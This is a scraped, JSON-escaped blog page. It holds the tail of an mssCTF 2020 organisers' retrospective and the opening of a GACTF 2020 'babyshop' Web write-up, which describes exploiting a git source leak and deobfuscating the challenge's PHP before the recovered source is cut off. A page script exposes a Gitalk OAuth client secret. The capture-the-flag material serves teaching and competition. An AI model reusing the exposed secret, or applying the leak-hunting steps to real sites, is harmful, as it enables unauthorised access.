style=\"text-align:center\"\u003eMisc\u003c/td\u003e\u003ctd style=\"text-align:center\"\u003e签到题\u003c/td\u003e\u003ctd style=\"text-align:center\"\u003eluoqian\u003c/td\u003e\u003ctd style=\"text-align:center\"\u003e|\u003c/td\u003e\u003ctd style=\"text-align:center\"\u003e决赛\u003c/td\u003e\u003ctd style=\"text-align:center\"\u003ePwn\u003c/td\u003e\u003ctd style=\"text-align:center\"\u003egift\u003c/td\u003e\u003ctd style=\"text-align:center\"\u003eeqqie\u003c/td\u003e\u003c/tr\u003e\u003ctr\u003e\u003ctd style=\"text-align:center\"\u003e初赛\u003c/td\u003e\u003ctd style=\"text-align:center\"\u003eMisc\u003c/td\u003e\u003ctd style=\"text-align:center\"\u003eAvicii\u003c/td\u003e\u003ctd style=\"text-align:center\"\u003eluoqian\u003c/td\u003e\u003ctd style=\"text-align:center\"\u003e|\u003c/td\u003e\u003ctd style=\"text-align:center\"\u003e决赛\u003c/td\u003e\u003ctd style=\"text-align:center\"\u003ePwn\u003c/td\u003e\u003ctd style=\"text-align:center\"\u003efishing_master\u003c/td\u003e\u003ctd style=\"text-align:center\"\u003eLunatic\u003c/td\u003e\u003c/tr\u003e\u003ctr\u003e\u003ctd style=\"text-align:center\"\u003e初赛\u003c/td\u003e\u003ctd style=\"text-align:center\"\u003eMisc\u003c/td\u003e\u003ctd style=\"text-align:center\"\u003e到底说了什么\u003c/td\u003e\u003ctd style=\"text-align:center\"\u003eGalaxy\u003c/td\u003e\u003ctd style=\"text-align:center\"\u003e|\u003c/td\u003e\u003ctd style=\"text-align:center\"\u003e决赛\u003c/td\u003e\u003ctd style=\"text-align:center\"\u003ePwn\u003c/td\u003e\u003ctd style=\"text-align:center\"\u003eWal1et\u003c/td\u003e\u003ctd style=\"text-align:center\"\u003eWal1et\u003c/td\u003e\u003c/tr\u003e\u003ctr\u003e\u003ctd style=\"text-align:center\"\u003e初赛\u003c/td\u003e\u003ctd style=\"text-align:center\"\u003eMisc\u003c/td\u003e\u003ctd style=\"text-align:center\"\u003e抽卡游戏\u003c/td\u003e\u003ctd style=\"text-align:center\"\u003ezkonge\u003c/td\u003e\u003ctd style=\"text-align:center\"\u003e|\u003c/td\u003e\u003ctd style=\"text-align:center\"\u003e决赛\u003c/td\u003e\u003ctd style=\"text-align:center\"\u003eWeb\u003c/td\u003e\u003ctd style=\"text-align:center\"\u003ehugme\u003c/td\u003e\u003ctd style=\"text-align:center\"\u003eblackwatch\u003c/td\u003e\u003c/tr\u003e\u003ctr\u003e\u003ctd style=\"text-align:center\"\u003e初赛\u003c/td\u003e\u003ctd style=\"text-align:center\"\u003eWeb\u003c/td\u003e\u003ctd style=\"text-align:center\"\u003enode\u003c/td\u003e\u003ctd style=\"text-align:center\"\u003eLT\u003c/td\u003e\u003ctd style=\"text-align:center\"\u003e|\u003c/td\u003e\u003ctd style=\"text-align:center\"\u003e决赛\u003c/td\u003e\u003ctd style=\"text-align:center\"\u003eWeb\u003c/td\u003e\u003ctd style=\"text-align:center\"\u003exml’s the best\u003c/td\u003e\u003ctd style=\"text-align:center\"\u003eReclu3e\u003c/td\u003e\u003c/tr\u003e\u003ctr\u003e\u003ctd style=\"text-align:center\"\u003e初赛\u003c/td\u003e\u003ctd style=\"text-align:center\"\u003eWeb\u003c/td\u003e\u003ctd style=\"text-align:center\"\u003eunserialize\u003c/td\u003e\u003ctd style=\"text-align:center\"\u003eLT\u003c/td\u003e\u003ctd style=\"text-align:center\"\u003e|\u003c/td\u003e\u003ctd style=\"text-align:center\"\u003e决赛\u003c/td\u003e\u003ctd style=\"text-align:center\"\u003eWeb\u003c/td\u003e\u003ctd style=\"text-align:center\"\u003ecalc\u003c/td\u003e\u003ctd style=\"text-align:center\"\u003eLT\u003c/td\u003e\u003c/tr\u003e\u003ctr\u003e\u003ctd style=\"text-align:center\"\u003e初赛\u003c/td\u003e\u003ctd style=\"text-align:center\"\u003eWeb\u003c/td\u003e\u003ctd style=\"text-align:center\"\u003ereadme\u003c/td\u003e\u003ctd style=\"text-align:center\"\u003eblackwatch\u003c/td\u003e\u003ctd style=\"text-align:center\"\u003e|\u003c/td\u003e\u003ctd style=\"text-align:center\"\u003e决赛\u003c/td\u003e\u003ctd style=\"text-align:center\"\u003eWeb\u003c/td\u003e\u003ctd style=\"text-align:center\"\u003epostme\u003c/td\u003e\u003ctd style=\"text-align:center\"\u003eReclu3e\u003c/td\u003e\u003c/tr\u003e\u003ctr\u003e\u003ctd style=\"text-align:center\"\u003e初赛\u003c/td\u003e\u003ctd style=\"text-align:center\"\u003eCrypto\u003c/td\u003e\u003ctd style=\"text-align:center\"\u003eeasy_stream\u003c/td\u003e\u003ctd style=\"text-align:center\"\u003eshallow\u003c/td\u003e\u003ctd style=\"text-align:center\"\u003e|\u003c/td\u003e\u003ctd style=\"text-align:center\"\u003e决赛\u003c/td\u003e\u003ctd style=\"text-align:center\"\u003eCrypto\u003c/td\u003e\u003ctd style=\"text-align:center\"\u003eeasy_encrypt\u003c/td\u003e\u003ctd style=\"text-align:center\"\u003eshallow\u003c/td\u003e\u003c/tr\u003e\u003ctr\u003e\u003ctd style=\"text-align:center\"\u003e初赛\u003c/td\u003e\u003ctd style=\"text-align:center\"\u003eCrypto\u003c/td\u003e\u003ctd style=\"text-align:center\"\u003eeasy_math\u003c/td\u003e\u003ctd style=\"text-align:center\"\u003eshallow\u003c/td\u003e\u003ctd style=\"text-align:center\"\u003e|\u003c/td\u003e\u003ctd style=\"text-align:center\"\u003e决赛\u003c/td\u003e\u003ctd style=\"text-align:center\"\u003eCrypto\u003c/td\u003e\u003ctd style=\"text-align:center\"\u003ehard_block\u003c/td\u003e\u003ctd style=\"text-align:center\"\u003eshallow\u003c/td\u003e\u003c/tr\u003e\u003ctr\u003e\u003ctd style=\"text-align:center\"\u003e初赛\u003c/td\u003e\u003ctd style=\"text-align:center\"\u003eCrypto\u003c/td\u003e\u003ctd style=\"text-align:center\"\u003eeasy_signin\u003c/td\u003e\u003ctd style=\"text-align:center\"\u003eshallow\u003c/td\u003e\u003ctd style=\"text-align:center\"\u003e|\u003c/td\u003e\u003ctd style=\"text-align:center\"\u003e决赛\u003c/td\u003e\u003ctd style=\"text-align:center\"\u003eCrypto\u003c/td\u003e\u003ctd style=\"text-align:center\"\u003eeasy_rsa\u003c/td\u003e\u003ctd style=\"text-align:center\"\u003eshallow\u003c/td\u003e\u003c/tr\u003e\u003ctr\u003e\u003ctd style=\"text-align:center\"\u003e初赛\u003c/td\u003e\u003ctd style=\"text-align:center\"\u003ePwn\u003c/td\u003e\u003ctd style=\"text-align:center\"\u003ewhisper\u003c/td\u003e\u003ctd style=\"text-align:center\"\u003eLunatic\u003c/td\u003e\u003ctd style=\"text-align:center\"\u003e|\u003c/td\u003e\u003ctd style=\"text-align:center\"\u003e决赛\u003c/td\u003e\u003ctd style=\"text-align:center\"\u003eCrypto\u003c/td\u003e\u003ctd style=\"text-align:center\"\u003eeasy_block\u003c/td\u003e\u003ctd style=\"text-align:center\"\u003eshallow\u003c/td\u003e\u003c/tr\u003e\u003ctr\u003e\u003ctd style=\"text-align:center\"\u003e初赛\u003c/td\u003e\u003ctd style=\"text-align:center\"\u003ePwn\u003c/td\u003e\u003ctd style=\"text-align:center\"\u003eblind\u003c/td\u003e\u003ctd style=\"text-align:center\"\u003eeqqie\u003c/td\u003e\u003ctd style=\"text-align:center\"\u003e|\u003c/td\u003e\u003ctd style=\"text-align:center\"\u003e决赛\u003c/td\u003e\u003ctd style=\"text-align:center\"\u003eReverse\u003c/td\u003e\u003ctd style=\"text-align:center\"\u003ehello\u003c/td\u003e\u003ctd style=\"text-align:center\"\u003eReverier\u003c/td\u003e\u003c/tr\u003e\u003ctr\u003e\u003ctd style=\"text-align:center\"\u003e初赛\u003c/td\u003e\u003ctd style=\"text-align:center\"\u003ePwn\u003c/td\u003e\u003ctd style=\"text-align:center\"\u003ebaby_format\u003c/td\u003e\u003ctd style=\"text-align:center\"\u003eeqqie\u003c/td\u003e\u003ctd style=\"text-align:center\"\u003e|\u003c/td\u003e\u003ctd style=\"text-align:center\"\u003e决赛\u003c/td\u003e\u003ctd style=\"text-align:center\"\u003eReverse\u003c/td\u003e\u003ctd style=\"text-align:center\"\u003ebase_pro\u003c/td\u003e\u003ctd style=\"text-align:center\"\u003eReverier\u003c/td\u003e\u003c/tr\u003e\u003ctr\u003e\u003ctd style=\"text-align:center\"\u003e初赛\u003c/td\u003e\u003ctd style=\"text-align:center\"\u003eReverse\u003c/td\u003e\u003ctd style=\"text-align:center\"\u003edoors\u003c/td\u003e\u003ctd style=\"text-align:center\"\u003eReverier\u003c/td\u003e\u003ctd style=\"text-align:center\"\u003e|\u003c/td\u003e\u003ctd style=\"text-align:center\"\u003e决赛\u003c/td\u003e\u003ctd style=\"text-align:center\"\u003eReverse\u003c/td\u003e\u003ctd style=\"text-align:center\"\u003ecoffee\u003c/td\u003e\u003ctd style=\"text-align:center\"\u003eReverier\u003c/td\u003e\u003c/tr\u003e\u003ctr\u003e\u003ctd style=\"text-align:center\"\u003e初赛\u003c/td\u003e\u003ctd style=\"text-align:center\"\u003eReverse\u003c/td\u003e\u003ctd style=\"text-align:center\"\u003esearch\u003c/td\u003e\u003ctd style=\"text-align:center\"\u003eReverier\u003c/td\u003e\u003ctd style=\"text-align:center\"\u003e|\u003c/td\u003e\u003ctd style=\"text-align:center\"\u003e决赛\u003c/td\u003e\u003ctd style=\"text-align:center\"\u003eReverse\u003c/td\u003e\u003ctd style=\"text-align:center\"\u003eflower\u003c/td\u003e\u003ctd style=\"text-align:center\"\u003eReverier\u003c/td\u003e\u003c/tr\u003e\u003ctr\u003e\u003ctd style=\"text-align:center\"\u003e初赛\u003c/td\u003e\u003ctd style=\"text-align:center\"\u003eReverse\u003c/td\u003e\u003ctd style=\"text-align:center\"\u003eCheckIn\u003c/td\u003e\u003ctd style=\"text-align:center\"\u003eRuby\u003c/td\u003e\u003ctd style=\"text-align:center\"\u003e|\u003c/td\u003e\u003ctd style=\"text-align:center\"\u003e决赛\u003c/td\u003e\u003ctd style=\"text-align:center\"\u003ePPC\u003c/td\u003e\u003ctd style=\"text-align:center\"\u003e灌水\u003c/td\u003e\u003ctd style=\"text-align:center\"\u003elhz\u0026amp;cdcq\u003c/td\u003e\u003c/tr\u003e\u003ctr\u003e\u003ctd style=\"text-align:center\"\u003e初赛\u003c/td\u003e\u003ctd style=\"text-align:center\"\u003ePPC\u003c/td\u003e\u003ctd style=\"text-align:center\"\u003e栅栏加密\u003c/td\u003e\u003ctd style=\"text-align:center\"\u003elhz\u0026amp;cdcq\u003c/td\u003e\u003ctd style=\"text-align:center\"\u003e|\u003c/td\u003e\u003ctd style=\"text-align:center\"\u003e决赛\u003c/td\u003e\u003ctd style=\"text-align:center\"\u003ePPC\u003c/td\u003e\u003ctd style=\"text-align:center\"\u003e安全评估\u003c/td\u003e\u003ctd style=\"text-align:center\"\u003elhz\u0026amp;cdcq\u003c/td\u003e\u003c/tr\u003e\u003ctr\u003e\u003ctd style=\"text-align:center\"\u003e初赛\u003c/td\u003e\u003ctd style=\"text-align:center\"\u003ePPC\u003c/td\u003e\u003ctd style=\"text-align:center\"\u003e量子波动速读\u003c/td\u003e\u003ctd style=\"text-align:center\"\u003elhz\u0026amp;cdcq\u003c/td\u003e\u003ctd style=\"text-align:center\"\u003e\u003c/td\u003e\u003ctd style=\"text-align:center\"\u003e\u003c/td\u003e\u003ctd style=\"text-align:center\"\u003e\u003c/td\u003e\u003ctd style=\"text-align:center\"\u003e\u003c/td\u003e\u003ctd style=\"text-align:center\"\u003e\u003c/td\u003e\u003c/tr\u003e\u003ctr\u003e\u003ctd style=\"text-align:center\"\u003e初赛\u003c/td\u003e\u003ctd style=\"text-align:center\"\u003ePPC\u003c/td\u003e\u003ctd style=\"text-align:center\"\u003eRSA加密\u003c/td\u003e\u003ctd style=\"text-align:center\"\u003elhz\u0026amp;cdcq\u003c/td\u003e\u003ctd style=\"text-align:center\"\u003e\u003c/td\u003e\u003ctd style=\"text-align:center\"\u003e\u003c/td\u003e\u003ctd style=\"text-align:center\"\u003e\u003c/td\u003e\u003ctd style=\"text-align:center\"\u003e\u003c/td\u003e\u003ctd style=\"text-align:center\"\u003e\u003c/td\u003e\u003c/tr\u003e\u003ctr\u003e\u003ctd style=\"text-align:center\"\u003e初赛\u003c/td\u003e\u003ctd style=\"text-align:center\"\u003ePPC\u003c/td\u003e\u003ctd style=\"text-align:center\"\u003e肝活动\u003c/td\u003e\u003ctd style=\"text-align:center\"\u003elhz\u0026amp;cdcq\u003c/td\u003e\u003ctd style=\"text-align:center\"\u003e\u003c/td\u003e\u003ctd style=\"text-align:center\"\u003e\u003c/td\u003e\u003ctd style=\"text-align:center\"\u003e\u003c/td\u003e\u003ctd style=\"text-align:center\"\u003e\u003c/td\u003e\u003ctd style=\"text-align:center\"\u003e\u003c/td\u003e\u003c/tr\u003e\u003c/tbody\u003e\u003c/table\u003e\u003ch3 id=\"Web\"\u003eWeb\u003c/h3\u003e\u003cblockquote\u003e\u003cp\u003eFrank\u003c/p\u003e\u003c/blockquote\u003e\u003cp\u003eWeb题是被骂惨了,出题人上头了,审题人也上头了。\u003cbr\u003e出题时应当充分考虑做题对象的水平,才能在比赛的同时达到提高水平的效果。像这次的题目,虽然我们自己已经习以为常,但是冷静思考,很多知识点如果要充分理解,需要对底层原理(python、PHP)有相当深入的了解。对于中学生而言,这是很不现实的。\u003c/p\u003e\u003cp\u003e还有一点可以改进的地方是出题前运维应当与出题人沟通好日志如何收集,并在审题阶段对日志收集功能进行测试。今年由于时间匆忙没有仔细地审题,出了各种问题。\u003c/p\u003e\u003ch3 id=\"Pwn\"\u003ePwn\u003c/h3\u003e\u003ch3 id=\"Reverse\"\u003eReverse\u003c/h3\u003e\u003cblockquote\u003e\u003cp\u003eReverier\u003c/p\u003e\u003c/blockquote\u003e\u003cp\u003e初赛逆向题目放出了三道, 有两道题目是我出的, 考点分别是指令虚拟化和全排列, 难度中等, 没爆0. 复赛题目放出了四道, 上午Java逆向和花指令, Java逆向是一个六元一次方程组求解, 两解; flower直接爆0了. 下午本来准备上happy出的一道vm, 但是上午看了看解题情况, 吓得不敢放了, 于是临时出了一个签到题, F5就能看见flag 的那种. 加上一道换表base64解密, 下午成功没有爆0. 有一说一题目质量出的有点低了… 没把握好选手的整体水平, 最后导致题目难度极不合理.\u003c/p\u003e\u003ch3 id=\"PPC\"\u003ePPC\u003c/h3\u003e\u003cblockquote\u003e\u003cp\u003ecdcq\u003c/p\u003e\u003c/blockquote\u003e\u003cp\u003e出现的问题:\u003c/p\u003e\u003cul\u003e\u003cli\u003e检查用的时间不够,没有查常规项(例如数据范围,典型的常规项),不能因为题简单就不查\u003c/li\u003e\u003cli\u003e最后没有总测数据,结果导致std改了,但是样例忘了改\u003c/li\u003e\u003cli\u003e没有强调\u003cstrong\u003e行末\u003c/strong\u003e(而不是\u003cstrong\u003e文末\u003c/strong\u003e)空格。这个应当在评测插件中新增一个Presentation Error进行提示\u003c/li\u003e\u003cli\u003e使用多组数据。多组数据输入对出题人来说很方便,但是对OI选手来说,不习惯多组数据,会导致很多人忘记初始化,从而卡在非核心考察点上,降低比赛体验\u003c/li\u003e\u003c/ul\u003e\u003cdiv id=\"gitalk-container\"\u003e\u003c/div\u003e\u003cscript src=\"https://cdn.bootcss.com/blueimp-md5/2.12.0/js/md5.min.js\"\u003e\u003c/script\u003e\u003clink rel=\"stylesheet\" href=\"https://unpkg.com/gitalk/dist/gitalk.css\"\u003e\u003cscript src=\"https://unpkg.com/gitalk/dist/gitalk.min.js\"\u003e\u003c/script\u003e\u003cscript\u003evar gitalkConfig = {\"clientID\":\"5955d155fe2ea768241e\",\"clientSecret\":\"f96bbda9ff434950217f24f7f9369f8b8de3b025\",\"repo\":\"frankli0324.github.io\",\"owner\":\"frankli0324\",\"admin\":[\"frankli0324\"],\"distractionFreeMode\":false}; gitalkConfig.id = md5(location.pathname);var gitalk = new Gitalk(gitalkConfig); gitalk.render(\"gitalk-container\"); \u003c/script\u003e\u003clink rel=\"stylesheet\" href=\"/css/spoiler.css\" type=\"text/css\"\u003e\u003cscript src=\"/js/spoiler.js\" type=\"text/javascript\" async\u003e\u003c/script\u003e","url":"https://blog.frankli.site/2020/09/20/Dev/mssCTF%202020/"},{"title":"GACTF 2020 Web 部分题目 Writeup","time":"2020-08-31T16:00:00Z","content":"\u003ch2 id=\"babyshop\"\u003ebabyshop\u003c/h2\u003e\n\u003cp\u003e上来一个小商城,懵了一圈以后扫了一下目录,发现有git泄露。源码脱下来以后发现进行了混淆。\u003cbr\u003e\n这个混淆有意思啊,所有的变量名甚至都是有意义的,难不成是出题人人 工 混 淆?\u003c/p\u003e\n\u003cp\u003e简单浏览以后通过\u003chr /\u003e\u003ch2 id=\"babyshop\"\u003ebabyshop\u003c/h2\u003e\u003cp\u003e上来一个小商城,懵了一圈以后扫了一下目录,发现有git泄露。源码脱下来以后发现进行了混淆。\u003cbr\u003e这个混淆有意思啊,所有的变量名甚至都是有意义的,难不成是出题人人 工 混 淆?\u003c/p\u003e\u003cp\u003e简单浏览以后通过经验可以判断出,整个\u003ccode\u003einit.php\u003c/code\u003e大体分为两部分,\u003ccode\u003e造化之神\u003c/code\u003e用于混淆字符串常量,而\u003ccode\u003e造化\u003c/code\u003e函数则用于获取原字符串,是很常用的字符串常量混淆手段。再加上php的字符串可以作为函数调用,函数名也可以利用这种方式进行混淆。比如\u003ccode\u003e造化(\u0026quot;拢监纪浑诊余仍逃抹哀天夫\u0026quot;)\u003c/code\u003e实际上就是\u003ccode\u003estripos\u003c/code\u003e\u003cbr\u003e于是我们可以写一个简单的小脚本进行字符串恢复,抛弃\u003ccode\u003e造化\u003c/code\u003e部分。脚本由于没有复用价值,就不放在这了。\u003ccode\u003e测\u003c/code\u003e,\u003ccode\u003e获\u003c/code\u003e,\u003ccode\u003e赋\u003c/code\u003e等工具函数也可以通过简单的正则匹配进行替换。\u003c/p\u003e\u003cp\u003e最终我们可以恢复出混淆前的代码:\u003c/p\u003e\u003cdiv class='spoiler collapsed'\u003e \u003cdiv class='spoiler-title'\u003e 题目源码 \u003c/div\u003e \u003cdiv class='spoiler-content'\u003e \u003cfigure class=\"highlight php\"\u003e\u003ctable\u003e\u003ctr\u003e\u003ctd class=\"gutter\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e1\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e2\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e3\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e4\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e5\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e6\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e7\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e8\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e9\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e10\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e11\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e12\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e13\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e14\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e15\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e16\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e17\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e18\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e19\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e20\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e21\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e22\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e23\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e24\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e25\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e26\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e27\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e28\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e29\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e30\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e31\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e32\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e33\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e34\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e35\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e36\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e37\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e38\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e39\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e40\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e41\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e42\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e43\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e44\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e45\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e46\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e47\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e48\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e49\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e50\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e51\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e52\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e53\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e54\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e55\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e56\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e57\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e58\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e59\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e60\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e61\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e62\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e63\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e64\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e65\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e66\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e67\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e68\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e69\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e70\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e71\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e72\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e73\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e74\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e75\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e76\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e77\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e78\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e79\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e80\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e81\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e82\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e83\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e84\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e85\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e86\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e87\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e88\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e89\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e90\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e91\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e92\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e93\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e94\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e95\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e96\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e97\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e98\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e99\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e100\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e101\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e102\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e103\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e104\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e105\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e106\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e107\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e108\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e109\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e110\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e111\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e112\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e113\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e114\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e115\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e116\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e117\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e118\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e119\u003c/span\u003e\u003cbr\u003e\u003c/pre\u003e\u003c/td\u003e\u003ctd class=\"code\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"meta\"\u003e\u0026lt;?php\u003c/span\u003e\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003eini_set(\u003cspan class=\"string\"\u003e\u0026#x27;display_errors\u0026#x27;\u003c/span\u003e, \u003cspan class=\"string\"\u003e\u0026#x27;Off\u0026#x27;\u003c/span\u003e);\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"class\"\u003e\u003cspan class=\"keyword\"\u003eclass\u003c/span\u003e 造齿轮\u003c/span\u003e\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"class\"\u003e\u003c/span\u003e\u0026#123;\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"keyword\"\u003eprotected\u003c/span\u003e $朝拜圣地;\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"keyword\"\u003eprotected\u003c/span\u003e $贡品;\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"keyword\"\u003eprotected\u003c/span\u003e $圣殿;\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"keyword\"\u003eprotected\u003c/span\u003e $禁地;\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"keyword\"\u003epublic\u003c/span\u003e \u003cspan class=\"function\"\u003e\u003cspan class=\"keyword\"\u003efunction\u003c/span\u003e \u003cspan class=\"title\"\u003e__construct\u003c/span\u003e(\u003cspan class=\"params\"\u003e\u003c/span\u003e)\u003c/span\u003e\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"function\"\u003e \u003c/span\u003e\u0026#123;\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"keyword\"\u003e$this\u003c/span\u003e-\u0026gt;朝拜圣地 = \u003cspan class=\"string\"\u003e\u0026#x27;storage\u0026#x27;\u003c/span\u003e;\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"keyword\"\u003eif\u003c/span\u003e (!is_dir(\u003cspan 